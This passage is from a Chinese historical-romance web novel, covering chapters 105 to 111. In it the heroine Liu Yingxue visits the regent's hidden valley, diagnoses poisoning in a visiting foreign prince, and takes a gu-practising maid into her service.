司马澄看着柳映雪的动作,眼中闪过一丝欣慰。他伸手轻轻拉过柳映雪的手,声音温和却带着几分郑重:“雪儿,你一个人在家要多加小心。府中事务有不懂的就去问管家。” “女儿记住了。”柳映雪乖巧应声,眼中却闪过一丝不易察觉的担忧。 院门外,三辆马车已经准备就绪。马匹不时打着响鼻,蹄子不安分地刨着地面。前车装饰华贵,是母亲与司马叔父乘坐的;中车略显朴素,载着丫鬟们;后车则装着路上要用的物什,被仔细地用油布遮盖着。 十名骑士分列两旁,腰间佩剑,身姿挺拔。柳映雪的目光在他们身上一一扫过,很快便看出这些人个个身怀绝技。这让她稍稍安心,至少母亲一路有高手护卫。 朱雅芸转身搂住女儿,眼泪在眼眶中打转。她的手轻轻抚过柳映雪的发丝,声音有些哽咽:“雪儿,你要照顾好自己。青莲做的补品记得按时服用,孙掌柜会定期送来。我让梅枝给你做了新衣裳,还留了银票。若不够用就去找孙掌柜支取,。” 柳映雪抬手擦去母亲的泪水,强忍着自己的不舍:“娘亲放心,女儿都记住了。等您和叔父大婚那日,女儿一定赶去。” “不急,”司马澄温声道,目光在母女俩身上流连,“日子定下来我会提前通知你,你不必赶路伤身。” 马车缓缓启程,车轮碾过青石板路面发出细微的声响。柳映雪站在院门口,看着车队渐渐远去,直到消失在街角。她这才任由泪水滑落,肩膀微微颤抖。 转身回到清溪居,往日熟悉的一草一木此刻都显得格外冷清。她漫无目的地在院中踱步,最后还是让丫鬟守门,自己回房修炼去了。 与此同时,太傅府中。 “啪”的一声脆响,又一面铜镜被秦玉华摔得粉碎。碎片四散飞溅,在地上折射出零星的光芒。 她死死盯着镜中那张伤痕累累的脸,眼中怨毒之色几欲喷薄而出。原本如玉的肌肤上布满了狰狞的伤痕,有些已经结痂,有些还泛着青紫。这张脸,曾经是多少人羡慕的对象,如今却...... 秦夫人闻声赶来,看到满地狼藉,连忙挥手遣散下人。她快步走到女儿身边,心疼地想要抱住她,却被秦玉华躲开了。 “玉华,你这是何苦?大夫说了,保持心情平和才利于恢复。”秦夫人的声音中带着无奈和心疼。 “恢复?”秦玉华冷笑一声,声音中带着刺骨的寒意,“母亲,您看看我这张脸,还能恢复成什么样?堂堂四美之首,如今沦为三皇子的侧妃,从侧门进府......” 她的手指狠狠掐进掌心,指甲在皮肉上留下深深的印记。“都怪那个柳映雪!若不是她在赏梅宴上羞辱我,我也不会......” “住口!”秦夫人厉声打断,“这种话以后不许再提!你马上就要嫁入皇家,若是让人听去......” 秦玉华不以为然地冷哼一声,眼神狠厉。她缓缓走到窗前,看着院中盛开的海棠,声音低沉而冰冷:“母亲,您不明白。我秦玉华从来不是任人宰割的软弱女子。他们害我至此,我定要百倍奉还!” 秦夫人不由得打了个寒战。她张了张嘴,想说些什么,却最终只是叹了口气。 这个女儿,怕是要惹出大祸啊。 第一百零六章 摄政王的秘密 夜幕降临,太傅府的灯火一盏盏亮起。秦玉华独自坐在梳妆台前,手指轻轻抚过脸上的伤痕。镜中的烛火摇曳,映照出她扭曲的面容。 她拿起一支金钗,在烛光下细细端详。钗头雕刻着栩栩如生的凤凰,正是当日赏梅宴上柳映雪所戴之物。这支钗子,是她让人从柳府偷来的。 秦玉华的手指在钗尖上轻轻摩挲,嘴角勾起一抹阴冷的笑意。柳映雪就让我们好好玩玩...... “小姐,晚膳已经备好了。”青莲轻声提醒。 柳映雪摇摇头,“我不饿。” 青莲欲言又止,最终还是退了下去。自从夫人要和司马叔父启程去云州,小姐这几日都心不在焉的。 柳映雪回到房中,取出乾坤环。她本想继续修炼,可手指在戒指上摩挲半晌,却迟迟没有进入空间。 修炼时总觉得少了些什么,那种空虚感愈发明显。她叹了口气,起身整理了下衣裙。 “青莲。” “小姐。”青莲立刻应声。 “备马车,我想出去走走。” 青莲眼睛一亮,“小姐是要去找王爷吗?” 柳映雪没有否认,只是轻轻“嗯”了一声。那人总能给她安全感,尤其是在这种时候。 摄政王府内,萧寒瑾正在批阅奏折。案几上堆满了各地送来的奏章,他的眉头微微蹙起,手中的朱笔在纸上划下一道道批注。 绿风在门外轻声禀报:“王爷,柳大小姐来了。” 萧寒瑾手中的朱笔一顿,嘴角微翘。这还是雪儿第一次主动上门找他。他的目光不自觉地落在书桌旁的小糖人上,那是前几日从街上买来的,一直想找机会送给她。 “请她进来。”他放下朱笔,整理了下衣袍。 柳映雪刚从马车上跳下来,就看到那抹熟悉的身影立在廊下。只是她今日没了往日的活力,整个人都蔫蔫的,像是被雨打湿的海棠花。 “雪儿。”萧寒瑾快步走到她面前,目光中满是关切,“怎么了?” 柳映雪抿了抿唇,“娘亲去云州了。” 萧寒瑾了然,伸手轻轻握住她的手。她的手有些凉,他不自觉地用力握紧了些。 “跟我来。” “去哪?” “稍后你就明白了。”他的声音温柔得能掐出水来。 书房里,柳映雪一眼就看到了桌上的小糖人,是个穿着红裙的小姑娘,栩栩如生。她的心情稍稍好转,走近细看。 “喜欢吗?”萧寒瑾问,“前几日在街上看到,觉得很像你。” 柳映雪点点头,“很漂亮。” 萧寒瑾很快处理完手头的公务,起身道:“雪儿,我带你去个特定的地方。” 他按动书房一侧的机关,一扇隐秘的门缓缓开启。石壁上镶嵌着夜明珠,发出柔和的光芒。 柳映雪惊讶地瞪大眼睛,“这里竟然还有暗阁?” “这只是开始。”萧寒瑾牵着她的手,缓步而行。石阶向下延伸,空气微凉,但他的手掌温暖有力。 约莫一盏茶的功夫,萧寒瑾停下脚步,按动另一处机关。暗门徐徐打开,露出一间简单的书房。 “这是我的秘密基地。”萧寒瑾说着,从袖中取出两个面具。 一个是金色蝴蝶形状的半脸面具,羽翼处镶嵌着五彩玉石,在烛光下流转着璀璨的光芒。 “这是我为你量身定制的。”他将面具递给柳映雪。 她爱不释手地抚摸着面具上的纹路,“太漂亮了。”每一处细节都精雕细琢,可见制作者的用心。 萧寒瑾看着她欢喜的模样,眼中满是宠溺。他自己戴上一个简单的金色面具,整个人顿时多了几分神秘感。 但每次看向柳映雪时,那双眼睛里的温柔却怎么也藏不住。那是只属于她的专注与柔情。 “我们这是要去哪?”柳映雪好奇地问。 “带你去个好玩的地方。”萧寒瑾神秘地笑笑。 他们穿过一条长长的地下通道,空气渐渐变得潮湿。柳映雪能听到远处传来的水声,似乎是在靠近河边。 终于,他们来到一处隐秘的出口。萧寒瑾按动机关,一扇石门缓缓开启。清凉的夜风扑面而来,远处是连绵的山影。 侍卫牵来一匹骏马,萧寒瑾轻松将柳映雪抱上马背。她惊呼一声,下意识抓住他的衣袖。 他随后翻身上马,一手环着她的腰,一只手握着缰绳。“抓稳了。”他在她耳边低语,温热的气息拂过她的耳畔。 马儿飞奔而出,夜风呼啸。柳映雪从未体验过这样的速度与自由,她微微仰头,看着满天繁星。 寒风呼啸,两匹骏马在街道上疾驰而过,马蹄声惊扰了街边小贩的叫卖声。 马背上的两道身影戴着面具,引得路人纷纷侧目。有人低声议论,更多的人选择避让,毕竟这个时节,戴面具的人往往都不简单。 柳映雪坐在萧寒瑾怀中,感受着他坚实的臂膀。寒风中,他的体温透过衣衫传来,让她心里暖暖的。她忍不住往他怀里又缩了缩,贪恋这份温暖。 “冷?”低沉的声音在耳畔响起。 柳映雪摇摇头,却感觉身上的斗篷被裹得更紧了些。她抬头看了眼萧寒瑾的侧脸,即便戴着面具,也掩饰不住那份与生俱来的贵气。 渐渐远离了喧嚣的街道,两人骑马来到深山。积雪覆盖了山间小径,马蹄踏过时发出细微的咯吱声。 四周白雪皑皑,寒气逼人。山间的风比城中更甚,呼啸着掠过树梢,带起簌簌落雪。柳映雪不禁裹紧了身上的斗篷,却依然抵挡不住那刺骨的寒意。 “再忍忍,快到了。”萧寒瑾收紧了环在她腰间的手,声音里带着几分安抚。 马儿在一处山壁前停下。萧寒瑾翻身下马,转身将柳映雪轻轻抱下。她的脸颊被风吹得通红,鼻尖也冻得发红,像极了一只小兔子。 “这是什么地方?”柳映雪好奇地打量四周。入目所及皆是白雪,山壁上结着厚厚的冰凌,在阳光下闪烁着晶莹的光芒。 萧寒瑾没有回答,只是牵起她的手,来到山壁前。他手指在石壁上某处轻轻一按,仿佛触动了什么机关。 “咔嚓”一声,石门缓缓打开。冷风夹杂着雪花涌入,柳映雪下意识闭上眼睛。 第一百零七章 别有洞天 当她再次睁开眼时,不由得惊呼出声。石门后竟别有洞天。 葱郁的竹林随风摇曳,清澈的溪流潺潺流淌,几座精致的竹楼错落有致地分布在山谷中。溪水边还有几株梅花,傲然绽放在这寒雪腊月。 “这里好美。”柳映雪惊叹道,眼中闪烁着惊喜的光芒。 一名身着灰衣的侍卫快步走来,向萧寒瑾行礼:“王爷。” 萧寒瑾微微颔首,挥手示意他退下。侍卫恭敬地退到一旁,却始终保持着警惕。 柳映雪的目光被不远处的泉水吸引。她轻盈一跃,向泉水飞去,裙摆在风中飞扬,如同一只翩翩起舞的蝴蝶。 萧寒瑾看着她欢快的背影,嘴角不自觉地扬起。她总是这样,对什么都充满好奇,像个不谙世事的孩子。可正是这份纯真,让他忍不住想要守护。 泉眼处清水汩汩而出,在寒冷的空气中升起缕缕白雾。柳映雪蹲下身,伸手触碰泉水。冰凉清冽的触感让她忍不住惊呼,却又忍不住多碰了几下。 “这里是怎么发现的?”她回头问道,眼中带着好奇。 萧寒瑾眸光一暗,声音低沉:“那时被追杀,误入此处。”简单的一句话,却让人感受到当时的凶险。 柳映雪心头一痛。她站起身,快步走到萧寒瑾身边,握住他的手:“过去的都过去了。这么美的地方,是上天给你的礼物。” 萧寒瑾反手握住她的小手,眼中温柔似水:“有你在身边,才是最好的礼物。” 两人来到竹楼,取下面具。室内温暖如晓,显然早有人来准备。侍卫送来一壶清茶,茶香四溢。 “这是用山泉泡的茶,尝尝。”萧寒瑾为她斟了一杯,动作优雅从容。 柳映雪轻啜一口,茶香在口中绽放。她望着窗外的美景,听着泉水叮咚,整个人都放松下来。阳光透过窗棂洒在地上,在竹制的地板上投下斑驳的光影。 她转头看向萧寒瑾,发现他正闭目养神。阳光透过窗棂洒在他俊美的侧颜上,如同一幅画。长长的睫毛在脸上投下一片阴影,高挺的鼻梁,薄薄的唇,无一不透着贵气。 “想听你弹琴。”她轻声说,生怕打扰了这美好的画面。 萧寒瑾睁开眼,唇角微扬:“好。” 侍卫取来一张古琴,小心翼翼地摆在两人面前。琴身乌黑发亮,显然保养得极好。 “这是青霄琴。”萧寒瑾说道,修长的手指轻轻抚过琴弦。 柳映雪心中一动。她想起空间里的鸾琴,那把神秘而强大的琴。两把琴的名字如此相似,不知是否有什么联系。 “鸾琴与青霄琴有何不同?”她试探着问道。 “鸾琴不仅是琴,更是一件厉害的武器。”萧寒瑾意味深长地看了她一眼,眼中似有深意。 柳映雪心中一跳。他这话是什么意思?他是不是知道些什么?她强压下心中的疑惑,装作不经意地转移话题:“那青霄琴呢?” 萧寒瑾没有直接回答,而是坐到琴前,修长的手指轻抚琴弦。 悠扬的琴声响起,如山涧清泉,似高山流水。琴音时而激昂,时而婉转,仿佛在诉说着一个古老的故事。柳映雪闭上眼,沉浸在美妙的琴声中。 琴声中似乎有一股特殊的力量,让人心神宁静。柳映雪感觉体内的真气不自觉地运转起来,随着琴声流动。她猛然睁开眼,惊讶地看向萧寒瑾。 琴音悠扬,如泉水叮咚,又似清风拂柳。柳映雪闭目倾听,任由这缕缕琴声在心间流淌。她的指尖不自觉地跟着节奏轻轻点动,仿佛要将这美妙的旋律永远铭记。 “雪儿。”温柔的呼唤声传来,打断了她的沉思。 柳映雪睁开眼,对上萧寒瑾含笑的目光。阳光透过树叶的缝隙洒落,在他俊美的面容上投下斑驳的光影。她不禁看得有些出神,这样的萧寒瑾,与平日里那个运筹帷幄的摄政王判若两人。 “寒瑾,你的琴艺真是令人沉醉。”柳映雪由衷赞叹,“这曲子......”她停顿片刻,似在寻找合适的词句,“让我想起了小时候在云州听过的山涧清泉,清澈见底,又带着几分缥缈。” 萧寒瑾放下琴,目光温柔地注视着她:“能让雪儿喜欢,是我的荣幸。”他修长的手指轻抚琴弦,“这首曲子,还从未在他人面前弹奏过。” “是新创作的吗?”柳映雪好奇地问道,身子不自觉地向前倾了倾。 “嗯,”萧寒瑾点头,“专门为你谱写的。”他顿了顿,“既然你问起,不如就叫"映雪"如何?” 柳映雪心头一暖,眉眼弯弯:“这名字真好,以后这就是属于我们两个人的秘密了。”她抬手掩唇轻笑,眼中闪烁着愉悦的光芒。 庭院里茶香袅袅,花影摇曳。两人相对而坐,时光静好得仿佛可以永远延续下去。直到日上三竿,他们才不得不离开这方清净之地。 骑马疾驰而归时,晓风拂面,柳映雪的心情依然愉悦。她时不时偷瞄身边的萧寒瑾,看他英姿飒爽的模样,又想起方才那段温馨时光,嘴角不自觉地上扬。 回到那处隐秘的院落,柳映雪取下面具,递给萧寒瑾:“暂且存放在这里吧,改日我们再去那处清幽之地。”她的指尖在面具上轻轻摩挲,似乎还留恋着方才的时光。 “好。”萧寒瑾接过面具,连同自己的一起交给守候在一旁的侍卫。 穿行在地下通道时,火把的光芒在石壁上跳动,投下摇曳的影子。柳映雪打量着四周错综复杂的岔道,不禁问道:“这条幽径通向何处?” “通往城外。”萧寒瑾简短地回答,脚步未停。 柳映雪若有所思地点点头:“想必沿途还有其他出口吧?”她的目光扫过两侧隐约可见的暗门痕迹。 “不错,通往城内各处要地。”萧寒瑾语气平淡,却透露出对这片幽径网络的熟稔。 柳映雪暗自思忖,难怪萧寒瑾消息如此灵通,有这样的幽径网络,城中大小事务都瞒不过他的眼睛。她不由得想起那日在丞相府的变故,想必也与这些幽径有关。 第一百零八章 丞相家公子回府 回到书房,绿风已经备好了午膳。案几上摆着精致的菜肴,香气四溢。两人相对而食,气氛温馨。偶尔交谈几句,更多时候是默契的沉默。 与此同时,丞相府却是另一番光景。 自从黄金失窃,丞相大人一病不起,已经两日不曾上朝。往日气派的府邸此刻笼罩在一片愁云惨雾之中,连院中的花草似乎都失去了往日的光彩。 恰逢在外求学的两位少爷归家,府中却没有往日的喜庆氛围。往年这个时候,府中上下都会忙着准备接风宴,如今却是一片萧条。 十二岁的柳明轩和十岁的柳逸铭刚进府门就察觉到不对劲。往日热络的下人们行色匆匆,见了他们也只是匆匆行礼就急急离去,连平日里最爱献殷勤的管事都不见踪影。 兄弟俩交换了一个眼神,各自去寻自己的母亲问话。虽然年纪尚小,但他们都已经懂得察言观色,知道府中必定发生了大事。 柳逸铭循着小丫鬟的指引,来到母亲高氏的新居。一路上,他注意到母亲的住处已经从偏院搬到了正院,规格也提升了不少。得知母亲已从姨娘升为二夫人,他面上不动声色,心中却已掀起惊涛骇浪。 “逸铭,你可算回来了。”高氏一见到儿子,立刻起身相迎,脸上露出欣喜的笑容。 柳逸铭恭敬地行礼:“孩儿见过母亲。”他注意到母亲虽然笑着,眼底却藏着几分忧虑。 “快起来,让母亲好好看看。”高氏拉着儿子的手,上下打量,“又长高了,在学院过得可好?” “一切都好。”柳逸铭应了一声,随即开门见山地问道:“母亲,府中究竟发生了什么事?” 高氏叹了口气,拉着儿子在榻上坐下,将府中变故一一道来。从大小姐柳映雪与朱氏脱离丞相府,到黄金失窃一事,再到丞相大人卧病在床,她说得详细,生怕儿子听不明白。 听完后,柳逸铭眉头紧锁。虽年纪尚小,但他已看出其中利害:“父亲这是被摄政王将了一军。大姐与朱氏脱离丞相府,父亲失去了最重要的筹码。”他的语气中带着几分稚嫩,却已显露出超乎年龄的洞察力。 “可不是么。”高氏愁眉不展,“你父亲一病不起,就是因为想不通这一关。这些日子,他茶饭不思,整日把自己关在书房里,连太医都不肯见。” 柳逸铭沉默片刻:“儿子先去给祖母和父亲请安。”他站起身,心中已经在盘算着对策。 老太君见到孙子,只是简单问了几句功课就让他退下。往日里最疼爱孙儿的老太君,此刻也是心事重重,无暇多言。 来到父亲的书房,柳逸铭看到的是一个形容憔悴的中年人。柳丞相卧在榻上,面色苍白,双目无神,连最疼爱的小儿子来探望,也只是微微点了点头。 柳逸铭心中一痛,却也明白现在不是打扰父亲的时候。他默默退了出去,决定等父亲病情好转,再与他商议对策。 另一边,柳映雪在王府用过午膳,与萧寒瑾闲谈片刻后回到清溪居。她站在窗前,望着院中的花木发呆。这几日与萧寒瑾相处,她发现自己越来越难以看清这个男人的真面目。他温柔时如晓风化雨,冷酷时却又如寒冰封霜。 她决定接下来几日专心修炼功法,暂不外出。萧寒瑾也要去青岩军秘地查探,两人都有要事在身。 五日后的清晨,柳映雪从空间出来,整理了一下衣衫。这几日的修炼让她的实力有了明显提升,但她知道这远远不够。 “小姐,澜月阁的高掌柜求见。”丫鬟青莲的声音从门外传来,带着几分兴奋。 她放下手中的茶盏,眸光一亮。这些日子以来,她日夜牵挂着娘亲的消息,如今终于等到了。指尖不自觉地摩挲着杯沿,心跳微微加快。 “快请到前厅。”她起身整理了一下衣裙,裙摆轻摆间带起一阵淡雅的香气。 推开雕花木门,只见一位身着青色长衫的中年男子正在厅中来回踱步。那人听见动静,连忙转身,脸上堆满笑容:“老奴见过小小姐。” “高掌柜?”她轻声唤道。 “正是老奴。”高掌柜微微躬身,目光中带着几分敬重。 “叔父可有消息传回?”她语气中带着掩饰不住的急切,双手不自觉地绞在一起。 高掌柜从怀中取出一封信递上,信封上还带着些许褶皱:“这是少爷让老奴送给小小姐的。” 柳映雪接过信时,指尖微微颤抖。她小心翼翼地拆开信封,里面是一张叠得整整齐齐的纸条。展开后,熟悉的字迹映入眼帘:“雪儿,我与你娘亲已安抵云州,与你祖父商定婚期,本月十六适合结婚。归程小心,若有需要可寻高掌柜帮衬。我与你娘亲日夜挂念,望你珍重。” 读完信,她长舒一口气,紧绷的神经终于放松下来。窗外传来鸟儿清脆的鸣叫,晓日的暖阳透过窗棂洒在她身上,驱散了这些日子的阴霾。 算算时日,还有十三天就是娘亲大婚之期。她站在窗前,望着院中盛开的海棠,暗自思量:再过几日动身,时间应该刚好。 “多谢高掌柜跑这一趟。”她转身道谢,眼中带着真诚的感激。 “小姐客气了,老奴告退。”高掌柜躬身退出,脚步声渐渐远去。 送走高掌柜,她正准备去药坊看望闵芊羽。院中的海棠花瓣随风飘落,在石板上留下点点粉红。青莲匆匆跑来,裙摆带起一阵风:“小姐,宫里来了位公公,说是要亲自送邀请帖。” 柳映雪停下脚步,微微挑眉。晓日的阳光下,她清丽的面容带着几分思索:一封请帖而已,何须亲自送来?看来这请帖不简单。 “请进。”她整理了一下衣襟,神色恢复如常。 那公公进来后连连作揖,脸上堆满笑容:“咱家见过柳小姐,奉皇上之命,特来送请帖。” 青莲上前接过请帖递给小姐。柳映雪打开精致的锦盒,取出里面的请帖。金丝勾勒的龙纹在阳光下熠熠生辉,原来是皇家狩猎的邀请。时间定在本月二十四,倒是不耽误她回云州。 “多谢公公跑这一趟。”她微微颔首。 青莲心领神会,送公公出门时塞了几个金叶子。回来后,她笑道:“小姐,那公公可开心了。”眼中带着几分狡黠。 “这是规矩,咱们入乡随俗便是。”柳映雪淡淡道,目光落在窗外的海棠上,“备马车,去药坊。” 第一百零九章 西幽国六皇子 晓日的街市热闹非凡,到处都在议论西幽使臣到访的事。街边的茶馆里,说书先生正绘声绘色地讲述着三皇子亲自出城迎接的场面,还说西幽公主美若天仙。 马车缓缓驶过繁华的街道,柳映雪掀开车帘一角,看着街边熙熙攘攘的人群。小贩的吆喝声,孩童的笑闹声,还有远处传来的丝竹之音,交织成一幅生动的市井画卷。 到了药坊,淡淡的药香飘散在空气中。闵芊羽正在帮陶大君整理药材,见到柳映雪,她放下手中的药包,欣喜地迎上来:“柳大小姐。”脸上的伤痕已经淡了许多。 “身子可好些了?”柳映雪关切地问道,目光落在她手臂上的伤处。 “感谢小姐的关心,再过几日就能痊愈了。”闵芊羽低头整理着衣袖,遮掩着手臂上的伤痕。 陶大君这时匆匆走来,额头上还带着些许汗珠:“柳大小姐,来得正好!刚来了位贵人,老夫实在看不出病因。” “带我去看看。”她跟着陶大君快步走向后院。 推开病房的门,浓郁的药香扑面而来。榻上躺着一位俊美非常的男子,一袭白衣衬得他更加清雅出尘。他面色苍白如纸,气息微弱,却掩不住与生俱来的贵气。长睫微颤,似是承受着极大的痛苦。 “大夫,我家公子怎么样?”一旁的侍卫焦急地问道,手按在剑柄上,眼中带着警惕。 “这位小姐医术高明,让她看看。”陶大君擦了擦额头的汗,语气中带着几分无奈。 那侍卫一听是让个小姑娘看诊,顿时怒气上涌,就要拔剑。剑锋出鞘的声音在安静的病房中格外刺耳。 “你家公子要是再不治疗,片刻就要昏迷了。”柳映雪冷声道,目光如冰,直视着那名侍卫。 病榻上的男子微微抬手,示意侍卫退下。他艰难地睁开眼,目光落在柳映雪身上,眼中闪过一丝异样的神色。 长途跋涉的疲惫让他面色苍白,身子摇摇欲坠,连站立都显得格外吃力。额头上渗出的冷汗顺着脸颊滑落,浸湿了衣襟。 那双眼睛里满是恳求,像是抓住最后一根救命稻草。眼底的血丝清晰可见,透着几分病态的红。 柳映雪拿起银针,手法娴熟地为他施针。纤长的手指在穴位上轻点,每一针都精准地刺入要害。她的动作轻柔却不失力道,仿佛在演奏一曲精妙的乐章。 脉象果然如她所料,虚弱中带着一丝诡异的滞涩。这种脉象她再熟悉不过,曾经在萧寒瑾身上感受过无数次。 守在一旁的侍卫本想阻拦,但看着主子痛苦的模样,终是咬牙退后。他们的手始终按在剑柄上,眼神警惕地盯着柳映雪的每一个动作。 药坊内弥漫着浓郁的药香,混合着各种草药的气息。窗外的阳光透过雕花窗棂洒落进来,在地上投下斑驳的光影。 “呼...”病榻上的人发出一声轻微的叹息,紧皱的眉头稍稍舒展。 片刻之后,银针开始发挥效用。原本苍白的脸色渐渐有了些血色,呼吸也变得平稳起来。 病榻上的人缓缓睁开眼睛,声音虚弱却带着几分贵气:“多谢姑娘出手。若非遇见姑娘,恐怕今日...” “举手之劳。”柳映雪收起银针,动作利落地将它们擦拭干净,“不过这只是暂时的,你的身体状况很不好。” 一旁的陶大君看着这一幕,眼中闪过惊讶。他行医多年,还从未见过如此年轻的大夫,手法却如此娴熟。 “在下西幽国六皇子司云熠,今天刚抵达这座古都。”他勉强支起身子,声音中带着几分疲惫,“一路奔波,身子有些吃不消。” 站在一旁的侍卫听到这话,眼中闪过一丝愤怒。他们都知道事情的真相——分明是那位公主非要赶路,把原本三天的行程压缩到一天,一路上病倒了多少人?更何况六皇子本就体弱。 药坊内一时陷入沉默,只有外面传来的市井喧嚣。 “西幽国的皇子?”柳映雪挑眉,语气中带着几分探究,“御医应该更适合为你诊治。” “无用。”司云熠苦笑,眼神中透着深深的无奈,“西幽国的御医们都说这是胎里带出来的病症,束手无策。每次发作,也只能用些安神静气的药物。” 柳映雪看着他,心中暗叹。这副病态的身子骨,怕是从小就被人下了毒。皇室子女,不是被宠上天,就是被人巴不得赶紧去死。这种事情,她在夜家见得太多了。 窗外一阵风吹过,带起了案桌上的医书书页,发出沙沙的响声。 “他们其实看得出来。”她淡淡开口,语气中带着几分冷意,“是不敢说。你这不是病,是中毒。而且...”她顿了顿,“毒已经在你体内积累多年。” 这情形让她想起了萧寒瑾,同样是从小被人下毒,可那人却比眼前这位坚强得多。也不知他这些日子去了哪里,竟有些想念了。 司云熠看着突然走神的小姑娘,嘴角勾起一抹苦涩的笑。关于中毒,他其实早有猜测。只是没想到,会在这样的情况下得到证实。 “柳大小姐说的是真的?”陶大君惊讶地问,声音中带着难以置信。 侍卫闻言立刻跪地,手中的剑握得发白,眼中满是愤怒与不甘。他们跟随六皇子多年,却没能保护好主子。 “既如此,我这就启程回西幽。”司云熠声音平静,仿佛在说一件微不足道的事,“与其被人当作棋子,不如死在故土。至少...”他的声音越来越低,“能保全几分体面。” 柳映雪皱眉:“就这样认命?不想查清楚是谁害你?这些年的痛苦,就这样算了?” “皇宫之中,何来公道可言?”他自嘲地笑了笑,眼神中满是无奈,“父皇的旨意就是天,皇后的意愿就是理。查明真相,又能如何?不过是徒增伤悲罢了。” “你若不争,自然什么都得不到。”柳映雪直视着他,语气坚定,“只有强大起来,才能让人俯首。这些年的痛苦,难道就这样白受了?” 司云熠的眼神渐渐变得锐利,原本黯淡的眸子里似乎燃起了一簇火焰。 第一百一十章 收了个女婢 柳映雪看着他眼中燃起的火焰,突然有些心虚。她难道把一个乖巧的皇子给弄成这样?,变成了一个复仇的疯子?这样的改变,究竟是好是坏? 屋内的气氛变得凝重起来,连空气似乎都变得粘稠。 “还请姑娘救我。”他的声音不再虚弱,带着几分坚定,“我想活着,活得堂堂正正。” “我可以开药方助你解毒,但需要半年时间。”柳映雪说道,语气认真,“而且过程会很痛苦。至于身子的调养,就要靠你自己了。” 她在心里暗叹,空间里虽有速效解毒丸,但那是留给真正需要的人。再说,太容易得到的东西,往往不会被珍惜。有些路,必须自己走过才明白其中的艰辛。 写好药方后,柳映雪离开了药坊,直奔闵芊羽所住的院子。 院子里种着几株海棠,花开正艳。闵芊羽正在院中晾晒药材,看到柳映雪来,连忙放下手中的活计。 “柳大小姐。”闵芊羽连忙起身行礼,动作恭敬。 “身子可好些了?”柳映雪问道,目光落在她略显苍白的脸上。 “多谢小姐关心。”闵芊羽突然跪地,声音带着几分哽咽,“奴婢愿意追随小姐,只求小姐收留。奴婢什么都可以做,只要...” “起来说话。”柳映雪打断她,语气平静,“我这里不是避难所。你心中有仇,我能理解。但若要留下,就要听我号令,不得擅自行动。若因你的冲动给我惹来麻烦,那就休怪我无情。” 闵芊羽跪在地上,额头抵着冰凉的地面,神情诚恳。她的指尖微微颤抖,却强迫自己保持镇定。这一跪,不仅是为了表忠心,更是为了自己往后的生路。 “小姐明鉴,奴婢定当谨记教诲,绝不敢有二心。”她说着,重重地叩了几个头,力道之大让额头渗出血丝。 柳映雪站在窗边,阳光透过窗棂在她身上投下斑驳的光影。她垂眸看着跪在地上的女子,目光在那渗血的额头上停留片刻。这丫头倒是个执着的性子,为了活命,连这般折辱自己都不在意。 屋内一时寂静无声,只有檐下风铃偶尔发出清脆的响声。 “起来吧。”她终于开口,声音淡淡的,“我这人向来护短,既然你今日入了我的门,日后便是我的人。” 闵芊羽抬起头,眼中闪过一丝喜色,却又迅速压下。她小心翼翼地观察着柳映雪的表情,生怕错过任何细微的情绪变化。 “不过...”柳映雪话锋一转,周身气势骤变。她缓步走到闵芊羽面前,居高临下地看着她,“我最恨背叛。你虽精通蛊术,但我的毒术胜你一筹。更何况,蛊术我也略知一二。” 这番话说得平静,却让闵芊羽感受到一股无形的压力。她心头一颤,却不是因为害怕,反而生出几分安心。有实力的主子,才能给她真正的依靠。这样的主子,才值得她效忠。 “小姐放心,奴婢此生只忠于小姐一人。”她低头说道,声音坚定。 柳映雪满意地点点头,在桌边坐下,“从今日起,你便改名连秀。待伤好后,去找柳川训练。” “感谢小姐赐予的名字。”闵芊羽——不,现在是连秀了,她恭敬地应道。 屋外传来脚步声,一个丫鬟端着茶盘进来。柳映雪接过茶盏,轻轻吹了吹,“你可会制作易颜面具?” 连秀摇头,“奴婢只精通蛊术,其他本事...实在惭愧。” “无妨。”柳映雪抿了口茶,“改日我给你一副面具,也好遮掩身份。这几日,你先将伤养好,再来清溪居寻我。” “是。” 交代完事情,柳映雪起身准备离开。她走到门口,突然想起什么,又回头看了眼连秀,“记住,从今以后,你就是我柳家的人。” 连秀跪着目送柳映雪离开,直到脚步声渐远,她才缓缓站起身。手臂上的伤口隐隐作痛,提醒着她不久前的遭遇。她深吸一口气,将那些不堪的记忆压下。 现在的她,已经不是那个任人宰割的闵芊羽了。 柳映雪上楼查看绿雪的情况。推开门时,阳光正好洒在少年苍白的脸上。她走到床边,仔细检查了他的脉象,见无大碍,这才稍稍放心。 “姑娘。”丫鬟小声提醒,“西幽六皇子还在外面等着。” 柳映雪微微蹙眉。救人是举手之劳,但与皇室牵扯太多,终究不是好事。她转身离开,刻意避开了六皇子道谢的时机。 西幽六皇子见人已不见踪影,只得叹了口气,留下一张银票带着药离开。他不知道的是,柳映雪素来精于算计。救命之恩不收银钱,反倒能让人记着这份情。日后若有用得着的地方,这份人情比银钱更有价值。 玉华四方馆内,气氛微妙。 这处离皇宫不远的馆舍,专门用来接待外国使臣。雕梁画栋,处处彰显着皇家气派。此时,三皇子萧辰煜与礼部尚书吴大人正在此迎接西幽国的使团。 萧辰煜目光不时落在西幽公主司微澜身上。这位公主一身淡紫色宫装,举手投足间尽显优雅。不仅容貌出众,举止也颇为得体,倒是个合适的皇子妃人选。 司微澜似乎察觉到他的目光,微微低头,面上浮现出一抹羞涩的红晕。这般举动更显得她楚楚动人,惹人怜爱。 “六皇子怎么不见人影?”吴大人突然问道,打破了这暧昧的气氛。 使臣脸上的笑容瞬间凝固,眼中闪过一丝慌乱,“立皇子体弱,半路病发,已先去寻医了。” “本公主担心皇兄病情,便让人先送他去医治。”司微澜柔声解释,纤细的手指不安地绞着手帕,“听闻青云国医术精湛,或许能治好皇兄的顽疾。” 萧辰煜闻言,立刻道:“本王这就去请御医。”他说着就要起身。 吴大人却皱起眉头,眼中闪过一丝怀疑,“不知六皇子去了哪家药坊?本官好派人接他过来。” 司微澜语塞,一时不知如何作答。她求助般看向身边的二皇子。 二皇子司徽风冷声道:“皇妹初来乍到,如何知晓药坊所在?吴大人不妨派人去寻。” 第一百一十一章 偶遇五皇子 气氛一时有些僵硬。吴大人正要说什么,门外突然传来一道清冷的声音。 “不必了,我已经回来了。” 虚弱的声音从门口传来,众人循声望去。只见司云熠面色苍白如纸,身形摇摇欲坠,若不是身旁侍卫搀扶,怕是连路都走不稳。他的眼睛略显浑浊,嘴唇也失去了血色,整个人看起来像是大病初愈。 “六皇兄!”司微澜连忙起身迎上前去,裙摆在地上划出一道优美的弧线。她快步来到司云熠面前,声音里满是关切,“你的身体怎么样了?三皇子说要进宫请御医来给你看诊。” 